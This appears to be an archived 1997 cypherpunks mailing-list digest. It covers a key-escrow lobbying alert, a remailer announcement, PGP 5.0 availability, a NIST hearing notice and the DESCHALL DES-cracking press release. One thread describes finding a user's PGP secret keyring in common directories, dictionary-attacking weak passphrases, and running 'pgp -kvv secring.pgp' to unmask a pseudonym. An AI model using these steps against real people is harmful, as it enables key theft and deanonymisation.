         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|

        SENATE COMMERCE COMMITTEE SET TO VOTE ON MANDATORY KEY ESCROW
            LEGISLATION AS EARLY AS THURSDAY JUNE 19TH!  CALL NOW!

     Date: June 17, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        ALERT - Senate Committee Set to Vote on Key Escrow
        What YOU CAN DO NOW!
        Background On The Encryption Issue
        How to start or stop receiving crypto-news
        About This Alert

_____________________________________________________________________________
ALERT - SENATE COMMITTEE SET TO VOTE ON BILL TO GUARANTEE GOVERNMENT ACCESS
TO YOUR PRIVATE ONLINE COMMUNICATIONS

On Tuesday June 17, Senators John McCain (R-AZ) and Bob Kerrey (D-NE)
introduced legislation which would all but mandate that Americans provide
guaranteed government access to their private online communications and
stored files.

The bill, known as "The Secure Public Networks Act of 1997" (S.909)
represents a full scale assault on your right to protect the privacy and
confidentiality of your online communications. Please take a moment to read
the instructions below and, if your Senator is a member of the Commerce
Committee, please take a moment to call your Senator TODAY!

Though offered on Capitol Hill as a compromise, the McCain-Kerrey bill is
virtually identical to draft legislation proposed earlier this year by the
Clinton Administration while doing nothing to protect the privacy and
security of Internet users. The bill closely mirrors  draft legislation
proposed by the Clinton Administration earlier this Spring.

Specifically, the bill would:

 * Compel Americans to Use Government-Approved Key Recovery Systems
 * Make Key Recovery a Condition Of Participation in E-Commerce
 * Allow Government Carte Blanche Access to Sensitive Encryption Keys
   Without a Court Order
 * Create New Opportunities for Cybercrimes
 * Codify a low 56-bit Key Length Limit on Encryption Exports
 * Create Broad New Criminal Penalties for the Use of Encryption

The full text of the bill, along with a detailed analysis, is available
online at http://www.cdt.org/crypto/

________________________________________________________________________
WHAT'S HAPPENING NOW

On Thursday June 19, the Senate Commerce Committee is scheduled to hold a
vote on S. 377, the Promotion of Commerce Online in the Digital Era
(Pro-CODE) Act - an Internet-friendly encryption reform bill sponsored by
Senators Burns (R-MT) and Leahy (D-VT).

Senator McCain, the Commerce Committee Chairman, is expected to try and
substitute his proposal for Pro-CODE - gutting the proposal and inserting
provisions which would all but mandate guaranteed government access to your
private communications.

Please take a few moments to help protect your privacy and security in the
Information Age by following the simple instructions below.

________________________________________________________________________
WHAT YOU CAN DO NOW

   ** THE COMMITTEE IS EXPECTED TO VOTE AT 9:30 AM Eastern JUNE 19 **
         ** IT IS CRITICAL THAT YOU CALL YOUR SENATOR TODAY **

A list of Senate Commerce Committee members is printed below. If your
Senator is on the list, please call TODAY.

  NOTE - If your Senator is not on the list, please visit
         http://www.crypto.com/adopt and ADOPT YOUR LEGISLATOR. You will
         receive targeted alerts next time your Representatives or
         Senators are poised to vote on this and other critical Internet
         Related issues.

1. If your Senator's name is on the list below, pick up the phone and
   call them at 202-224-3121.  Ask for your Senator's office.  

  Order: Frist, Abraham, Snowe, Stevens, Browe, Bryan.

  * = has publicly stated opposition to the McCain-Kerrey bill.
  + = has publicly stated support to the McCain-Kerrey bill.

   William Harrison Bill Frist, R-TN
   Spencer Abraham, R-MI                        ALL THESE SENATORS ARE
   Olympia Snowe, R-ME                       TELEPHONABLE AT 202-224-3121
   Ted Stevens, R-AK
   John B. Breaux, D-LA
   Richard H. Bryan, D-NV

   +John McCain, R-AZ, Chairman
   *Conrad R. Burns, R-MT
   Slade Gorton, R-WA
   *Trent Lott, R-MS
   Kay Bailey Hutchison, R-TX
   *John Ashcroft, R-MO
   *Sam Brownback, R-KS

   +Ernest F. Hollings, D-SC, Ranking minority member
   Daniel K. Inouye, D-HI
   Wendell H. Ford, D-KY
   +John D. Rockefeller, IV, D-WV
   +John F. Kerry, D-MA
   *Byron L. Dorgan, D-ND
   *Ron Wyden, D-OR

2. Ask for the staffer that handles the encryption issue

3. Urge your Senator to OPPOSE THE McCAIN-KERREY BILL (S. 909)
   at the Commerce Committee Markup on June 19:

SAY
THIS -> I am a constituent calling to urge the Senator to oppose the
        McCain-Kerrey "Secure Public Networks Act" at the Committee
        markup on June 19.

        The bill all but mandates key-recovery encryption and represents
        a grave threat to privacy and electronic commerce on the
        Internet.

        We need a solution to this issue that protects privacy and
        security on the Internet, and the solution being offered by
        Senators McCain and Kerrey isn't it. I hope you will take a
        strong stand on this important issue.

4. IMPORTANT! -- PLEASE LET US KNOW HOW IT WENT!

   Go to the feedback page for your member of Congress at
   http://www.crypto.com/feedback/ and let us know how it went. This
   will help us coordinate our strategy on the ground in DC.

5. Please forward this alert to your friends and colleagues
   who live in your congressional district (do not forward after
   June 25)

6. Finally, relax! You have done more to help fight for privacy and
   security on the Internet in 5 minutes than most people do in a year!
   We appreciate your support!

________________________________________________________________________
BACKGROUND ON THE ENCRYPTION POLICY ISSUE

Complete background information, including:

* A down-to-earth explanation of why this debate is important to
  Internet users
* Analysis and background on the issue
* An analysis of the Risks of Key-Recovery by leading cryptographers
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional
  Hearings on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age,
enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration and members of the US Senate
have proposed DOMESTIC RESTRICTIONS on the ability of Americans to protect
their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

________________________________________________________________________
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo@panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir@vtw.org will be ignored.

________________________________________________________________________
ABOUT THIS ALERT

This message was brought to you by the Center for Democracy and
Technology (http://www.cdt.org) and the Voters Telecommunications Watch
(http://www.vtw.org/), who have joined together to create the Adopt Your
Legislator Campaign - a unique and effective way of creating dialogue
between members of Congress and their Constituents on critical
Internet-related issues.

For more information on the Adopt Your Legislator Campaign, please visit
http://www.crypto.com/adopt/
______________________________________________________________________________
end alert 06.17.97
------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Fred B. Ringel" <fredr@joshua.rivertown.net> (by way of Alec McCrackin <camcc@abraxis.com>)
Date: Wed, 18 Jun 1997 21:44:08 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] ANNOUNCING: Georgia Cracker Anonymous Remailer
Message-ID: <3.0.2.32.19970618083439.007c1390@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all-

	Here is Andy Dustbin's replacement for the dustbin remailer, one
which was quite reliable during the time it was up. Add this one to your
lists. You can get the keys from the remailer.

	The good news is Andy intends to eatablish another nym remailer. We
need more of these.

	Fred
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Fred B. Ringel		      --      Rivertown.Net Internet Access
Systems Administrator	      --      Voice/Fax/Support: +1.914.478.2885
PGP- Public Key		      --      email: fredr-pgpkey@joshua.rivertown.net
	Although in theory, there's no difference between 
	theory and practice, in practice, there is.


---------- Forwarded message ----------
Date: Wed, 18 Jun 1997 00:42:49 -0400 (EDT)
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Subject: ANNOUNCING: Georgia Cracker Anonymous Remailer

Dustbin is dead; long live Cracker! ("Cracker" means more than you think;
get out your dictionaries and look up the term as it applies to the SE US,
or specifically GA. ;)

Here is the vital data:

$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk pgp hash latent cut
ek mix reord middle";

Cracker runs ghio-2 and Mixmaster 2.0.4b1. You may notice an extra key
stashed in here. It is for the forthcoming nymserver (which I am having a
nasty problem with PGPPATH, ARGH!). Don't use it yet; I hopefully will
make the announcement tommorrow.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "imran" <siddiq@comnet.com.tr>
Date: Wed, 18 Jun 1997 19:49:02 +0800
To: "William Knowles" <cypherpunks@toad.com>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706181111.OAA29736@ildico.comnet.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



Does Any body know if the PGP 5.0 program can be found outside US and
Canada,or how can the users from rest of the world have access to it.
please reply in person if possible.

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/     
  ..o0O""O0o..  I see this world with a pessimist's eye not to grieve
    (    |  |    )    upon the misery of the Adam's children but to wait
     )  /    \  (     in vain for the blissful years yet to come...
     (_)    (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Wed, 18 Jun 1997 23:19:51 +0800
To: Peng Chiew <pclow@pc.jaring.my>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <3.0.32.19970618180132.00696e10@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



On 09:29 PM 97.06.18 +0700, Peng Chiew wrote (and I quoted):

> where is .tr in the first place?
>Will you pay for my airticket?? ;)

 tr is for Turkey and yes, you'll need airticket to get there
from .my !!! :)

>
>Seriously, you can get it at:
>
>        ftp.hacktic.nl
>        pub/replay/pub/incoming/pgp50trial.exe
>

 Will this be legal??? <= This is the question. BTW, when this
'trial' version will cease to work?



--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
To understand a program you must become both the machine and the program.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peng Chiew <pclow@pc.jaring.my>
Date: Wed, 18 Jun 1997 21:49:25 +0800
To: imran <siddiq@comnet.com.tr>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
In-Reply-To: <199706181111.OAA29736@ildico.comnet.com.tr>
Message-ID: <33A7F0B0.3ED7C945@pc.jaring.my>
MIME-Version: 1.0
Content-Type: text/plain



imran wrote:

> Does Any body know if the PGP 5.0 program can be found outside US and
> Canada,or how can the users from rest of the world have access to it.
> please reply in person if possible.

Reply in person?? where is .tr in the first place?
Will you pay for my airticket?? ;)

Seriously, you can get it at:

        ftp.hacktic.nl
        pub/replay/pub/incoming/pgp50trial.exe

ciao!

pclow.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 24 Jun 1997 11:21:57 +0800
To: paul@fatmans.demon.co.uk (Paul Bradley)
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
Message-ID: <199706141751.MAA24746@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Paul Bradley wrote:
> Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
> c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
> keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
> to go through most of the common places.
> 
> The very same guy probably has a password that is:
> 
> A. FRED (notice how close the letters are, this is a real dumb-ass 
> password of the century)
> 
> B. His wifes name
> 
> C. Her birthday
> 
> D. The name of his favourite film or some character from it...
> 
> Can you say "dictionary attack"???. 

Can you say "idiots have to pay"?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 02:00:42 +0800
To: cypherpunks@toad.com
Subject: House Science hearing TOMORROW on NIST computer security act (fwd)
Message-ID: <Pine.GSO.3.95.970618095954.185D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 18 Jun 1997 09:59:27 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: House Science hearing TOMORROW on NIST computer security act



---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 17:11:03 -0400
From: "Farmer, Donna" <Donna.Farmer@mail.house.gov>
To: declan
Subject: Computer Security Enhancement Act of 1997



Subcommittee on Technology


Legislative Hearing on the 
Computer Security Enhancement Act of 1997

Thursday, June 19th 1997
10:00 AM to 12:00 Noon
2318 Rayburn House Office Building



The Honorable Gary Bachula					Stephen T. Walker
Acting Under Secretary for Technology				President and CEO
Technology Administration					Trusted Information Systems, Inc.
Department of Commerce					Glenwood, MD
Washington, DC						
								James Bidzos
Whitfield Diffie							President & CEO
Distinguished Engineer						Redwood City, CA
Sun Microsystems						
Mountain View, CA

Marc Rotenberg
Director
Electronic Privacy Information Center
Washington, DC

..													
Hearing Purpose:  

The Hearing will focus on the provisions of the Computer Security
Enhancement Act of 1997.  The bill amends the Computer Security Act of
1987 (P.L.  100-235).  The Computer Security Act 1987of gave NIST the
lead responsibility for computer security for Federal civilian agencies.
 The act requires NIST to develop the standards and guidelines needed to
ensure cost-effective security and privacy of sensitive information in
Federal computer systems.  

Background: The Computer Security Enhancement Act will strengthen the
National Institute of Standards and Technology's (NIST's ) historic role
in computer security established by the Computer Security Act.  The bill
updates the decade-old act while giving NIST the tools it requires to
ensure that appropriate attention and effort is concentrated on securing
our Federal information technology infrastructure.

What the Bill Does:  

The Computer Security Enhancement Act updates the Computer Security Act
to take into account the evolution of computer networks and their use by
both the Federal Government and the private sector.  Specifically, the
security enhancement act:

1.	Requires NIST to promote the acquisition of off-the-shelf products
for meeting civilian agency computer security needs.  This measure
should reduce the cost and improve the availability of computer security
technologies to Federal agencies. 
	 
2.	Increases the input of the independent Computer System Security and
Privacy Advisory Board into NIST's decision-making process.  The board,
which is made up of  representatives from industry, federal agencies and
other outside experts, should assist NIST in its development of
standards and guidelines for Federal systems.
	  
3.	Requires NIST to develop standardized tests and procedures to
evaluate the strength of foreign encryption products.  Through such
tests and procedures, NIST, with assistance from the private sector,
will be able to judge the relative strength of foreign encryption,
thereby defusing some of the concerns associated with the export of
domestically produced encryption products. 
	
4.	Limits NIST's involvement to the development of standards and
guidelines for Federal civilian systems and not for the private sector.
The bill clarifies that NIST standards and guidelines are to be used for
the acquisition of security technologies for the Federal government and
are not intended as restrictions on the production or use of encryption
by the private sector.
	
5.	Updates the Computer Security Act to address changes in technology
over the last decade.  Significant changes in the manner in which
information technology is used by the Federal government have occurred
since the enactment of the Computer Security Act.  The bill updates the
Act, taking these changes into account.
	  
6.	Establishes a new computer science fellowship program for graduate
and undergraduate students studying computer security.  The bill sets
aside $250,000 a year, for each of the next two fiscal years, to enable
NIST to finance computer security fellowships under an existing NIST
grant program.
	
7.	Requires the National Research Council to conduct a study to assess
the desirability of, and the technology required to, support public key
infrastructures.  







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 02:18:28 +0800
To: Alan <alano@teleport.com>
Subject: Re: The McVeigh Video Game
In-Reply-To: <Pine.GSO.3.96.970617100717.13050C-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.91.970618115843.360A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Will the next video game target be evil cryptographers?

Dorothy Denning springs immediately to mind ;-)...

Seriously though, how does one stereotype a cryptographer in order to 
easily represent him/her in graphics? Drug dealers are easy: Shadowy 
character all in black carring guns and scaring small children, 
terrorists also, camoflague wearing rifle carriers, but cryptographers?

Maybe someone wearing a random noise camoflague suit and carrying heavy 
assult weapons such as a 3.5" plastic disk with a copy of PGP on it...


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 01:33:02 +0800
To: Alan <alano@teleport.com>
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.GSO.3.96.970617151502.27880A-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.91.970618120447.360B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> All the perp has to do, once the secring.pgp is obtained is "pgp -kvv
> secring.pgp" and he now knows that Joe Cypherpunk and Secret Nym are the
> same person.

Another reason for keeping physical security over keys, nym keys, if it 
is important enough that the nym stays unidentifiable, should be kept on 
a different secring.pgp, which should be kept physically secure on a disk 
and encrypted using some other key than your own real-name secret key 
(this is just a measure to prevent breaking one key revealing the nym). 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 19 Jun 1997 03:59:43 +0800
To: cypherpunks@Algebra.COM
Subject: Anon E-mail article in WSJ
Message-ID: <Pine.GSO.3.96.970618124814.27604A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



In today's (06/18/97) Wall Street Journal there is an article on Anonymous
e-mail in the corporate environment.  Talks about companies who have set
up systems to recieve anonymous e-mail from employees to deal with
specific situations in the workplace.  Interesting stuff and very
positive.  (A few negatives were listed, but more as sidenotes than
anything.)

Page B-1 has the article.  This time I will be making a copy...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 19 Jun 1997 01:50:37 +0800
To: cypherpunks@toad.com
Subject: Federal Websites
Message-ID: <1.5.4.32.19970618172135.006cdc8c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The General Accounting Office has published an astonishing list
of over 4,000 Federal Websites, many not well-known, with hyperlinks 
for easy access:

-  World Wide Web Sites: Reported by 42 Federal Organizations.
   GGD-97-86S. June 1, 1997. 
   http://www.gao.gov/new.items/gg97086s.pdf

It's a supplement to an assessment of federal electronic 
information systems:

-  Internet and Electronic Dial-Up Bulletin Board System Activities:
   Information Reported by Federal Organizations. GGD-97-86. June
   16, 1997. 
   http://www.gao.gov/new.items/gg97086.pdf

We note the also amazingly-revealing GovBot Database of Government
Websites which provides search and access to 308,000 government and
military web pages:

   http://cobar.cs.umass.edu/ciirdemo/Govbot/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 19 Jun 1997 04:43:50 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970618132733.2034A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Tim May wrote:
> At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:
> 
> >What is appropriate for the master is not appropriate| Tom Weinstein
> >for the novice.  You must understand Tao before      | tomw@netscape.com
> >transcending structure.  -- The Tao of Programming   |
> 
> All Beings are happy when the Tao approaches 8800.

Sounds like Tim is having another Tao Jones...  (About average for him...)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 19 Jun 1997 05:04:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <199706180334.UAA12837@netcom2.netcom.com>
Message-ID: <v03102801afcdf7669711@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:37 AM -0700 6/18/97, Declan McCullagh wrote:
>At 20:34 -0700 6/17/97, Vladimir Z. Nuri wrote:
>>hee, hee, I hope that Declan comes up with an amusing mishmash of your
>>own life. turnabout is fair play. maybe if he doesn't, someone else
>>can take a stab at satirizing mr. debauched millionaire playboy
>>who dabbles in cryptography theory.
>
>I was far from offended by Tim's post; in fact, I thought it was hilarious.

And I took pains to make sure it was not taken as a malicious attack. It
was, if anything, a reflection of my realization (known before, but not in
this version) that Washington is literally nothing more than just the
world's largest shakedown racket, with taxpayers being extorted amounts of
money probably unprecedented in world history (*), with various factions
dispensing favors to some and punishing others.

Bruce Sterling, at CFP '97, had an awe-inspiring rant about this essential
criminality of governments around the world, how they use their powers to
shake down businessmen and citizens, how they are complicit in the drug
trade, how, of course, the drug trade wouldn't even exist in its current
criminal form if governments did not collude to criminalize drugs and then
run drugs in to their customers in the CIA's C-5 cargo planes. Sterling
discussed the "government as biggest crime syndicate" situtations in
several major countries, including Mexico, where the "Institutionalized
Revolutionary Party" (I'm not making that up, a la Orwell) kills its
opponents and runs the drug economy, Russia ('nuff said), Turkey (right
wing Pope killers, CIA station chiefs, and drug lords riding in the same
crashed car), and, last but not least, the United States of America.

(I hope a transcript is somewhere available on the Web, but his delivery
was done to perfection, so I hope a video of it is someday realeased.
Airing his 10-minute (I think) speech would be vastly more helpful to the
anti-fascist cause than all the meaningless "I take the Pledge" PR stuff.)


>But perhaps I will come up with a "Day in the Life of Tim 'Lock and Load'
>May, renegade cypherpunk, millionaire playboy, and curmudgeonly
>crypto-anarchist." Anyone want to join me in writing it?

No skin off my nose. Some good satire would be refreshing. Whomever was
doing the "Cypherpunks Enquirer" has apparently moved on to other things.
Neither Vulis' robograms nor Detweiler's foamings are very interesting.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Simmons <jsimmons@goblin.punk.net>
Date: Thu, 19 Jun 1997 05:18:57 +0800
To: cypherpunks@cyberpass.net
Subject: DESCHALL Press Release (fwd)
Message-ID: <199706182110.OAA07864@goblin.punk.net>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:
>From owner-deschall-announce@gatekeeper.megasoft.com Wed Jun 18 13:43:46 1997
Date: Wed, 18 Jun 1997 14:09:11 -0600
From: Rocke Verser <rcv@dopey.verser.frii.com>
Message-Id: <199706182009.OAA06697@dopey.verser.frii.com>
To: deschall@gatekeeper.megasoft.com
Subject: DESCHALL Press Release
Sender: owner-deschall@gatekeeper.megasoft.com
Precedence: bulk

        INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD

     LOVELAND, COLORADO (June 18, 1997).  Tens of thousands of
computers, all across the U.S. and Canada, linked together via the
Internet in an unprecedented cooperative supercomputing effort to
decrypt a message encoded with the government-endorsed Data Encryption
Standard (DES).

     Responding to a challenge, including a prize of $10,000, offered by
RSA Data Security, Inc, the DESCHALL effort successfully decoded
RSADSI's secret message.

     According to Rocke Verser, a contract programmer and consultant who
developed the specialized software in his spare time, "Tens of thousands
of computers worked cooperatively on the challenge in what is believed
to be one of the largest supercomputing efforts ever undertaken outside
of government."

     Using a technique called "brute-force", computers participating in
the challenge simply began trying every possible decryption key.  There
are over 72 quadrillion keys (72,057,594,037,927,936).  At the time the
winning key was reported to RSADSI, the DESCHALL effort had searched
almost 25% of the total.  At its peak over the recent weekend, the
DESCHALL effort was testing 7 billion keys per second.

     Verser considers this project to be remarkable in two ways:

     One.  This is the first time anyone has publicly shown that they
can read a message encrypted with DES.  And this was done with "spare"
CPU time, mostly from ordinary PCs, by thousands of users who have never
even met each other.  U.S. government and industry will have to take a
hard look at their cryptographic policies.  "DES can no longer be
considered secure against a determined adversary", Verser said.

     Two.  This project demonstrates the kind of supercomputing power
that can be harnessed on the Internet using nothing but "spare" CPU
time.  "Imagine what might be possible using millions of computers
connected to the Internet!"  Aside from cryptography and other obvious
mathematical uses, supercomputers are used in many fields of science.
"Perhaps a cure for cancer is lurking on the Internet?", said Verser,
"Or perhaps the Internet will become Everyman's supercomputer."


     Under current U.S. government export regulations, and underscoring
a problem faced by the U.S. software industry, the program that searched
the keys could not be exported, except to Canada.  A competitive effort,
based in Sweden, sprang up well after the DESCHALL effort began.  Able
to "market" their keysearch software around the world, the Swedish
effort caught up quickly, and had searched nearly 10 quadrillion keys by
the end of the contest.

                   ------------------------------------

     Verser agrees with the sentiment voiced in RSADSI's secret message:
"Strong cryptography makes the world a safer place."

     Use of strong cryptography, both domestically and internationally,
is essential in today's electronic world.  "But not at the expense of a
citizen's right to privacy."  Verser adds, "Recent proposals for
'key-recovery' and for criminalization of the use of cryptography have no
place in a free society."


     Information about the DESCHALL effort is available from the
official DESCHALL Web site at:  <http://www.frii.com/~rcv/deschall.htm>



MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, <cmcurtin@research.megasoft.com>

ALTERNATE:
      Rocke Verser, (970) 663-5629, <rcv@dopey.verser.frii.com>

ALTERNATE:
      Justin Dolske, (614) 459-5194, <dolske.1@osu.edu>

                                    - 30 -






         INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
             Background / Sidebar, for Release dated June 18, 1997

     The Data Encryption Standard, DES, is a national standard, adopted
in 1977.  Use of DES is mandatory in most Federal agencies, except the
military.  DES is very widely used in the private sector, as well.

     Interbank wire transfers, Visa transactions, your medical and
financial records, and your employer's financial data are some of the
many things secured against prying eyes or against modification by DES.

     When the Data Encryption Standard was adopted in 1977, there was
some question as to whether or not the Standard was adequate to protect
confidential data.

     Matt Curtin, Chief Scientist for Megasoft, Inc. says, "This is
proving by example, not by mathematical calculation, that DES can be
broken with little or no cost."  Curtin added, "Others could just as
easily be attempting to gain access to multibillion dollar wire
transfers."


MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, <cmcurtin@research.megasoft.com>

ALTERNATE:
      Rocke Verser, (970) 663-5629, <rcv@dopey.verser.frii.com>

ALTERNATE:
      Justin Dolske, (614) 459-5194, <dolske.1@osu.edu>

                                    - 30 -







         INTERNET LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
                 Background for Release dated June 18, 1997

                           DESCHALL DATA SHEET

DESCHALL Web site:
  <http://www.frii.com/~rcv/deschall.htm>

Principal Organizer:
  Rocke Verser, self-employed contract programmer, Loveland, Colorado

Team Leaders - Did "everything" Rocke didn't have time to do
  Matt Curtin, Chief Scientist, Megasoft Online
  Justin Dolske, Graduate Fellow / Research Associate, Ohio State Universtiy

Team Contributors:
  Guy Albertelli, several "ports"
  Kelly Campbell, original Mac port
  Darrell Kindred, blazing fast bitslice clients
  Andrew Meggs, blazing fast Mac client
  Karl Runge, statistics and rankings

Team Members:
  Dozens of people who contributed "shareware".
  Thousands of ordinary folks, who contributed "spare" CPU cycles.


Project statistics:
  Start of contest:                  January 29, 1997
  Announcement of DESCHALL project:  February 18, 1997
  End of contest:                    June 17, 1997

  Size of keyspace:  72,057,594,037,927,936
  Keys searched:     17,731,502,968,143,872
  Peak keys/day:        601,296,394,518,528
  Peak keys/second:           7,000,000,000 (approx)

  Peak clients/day:                  14,000 (approx, based on IP address)
  Total clients, since start:        78,000 (approx, based on IP address)

The computer that found the key:
  CPU:                  Pentium 90
  RAM:                  16 megabytes
  Operating System:     FreeBSD 2.2.1
  Speed (keys/second):  250,000 (approx)
  Client:               FreeBSD v0.214, built March 12, 1997
  Owner:                iNetZ Corporation, Salt Lake City, Utah
  Operator:             Michael K. Sanders


MEDIA CONTACTS:
      Matt Curtin, (908) 431-5300 x 295, <cmcurtin@research.megasoft.com>

ALTERNATE:
      Rocke Verser, (970) 663-5629, <rcv@dopey.verser.frii.com>
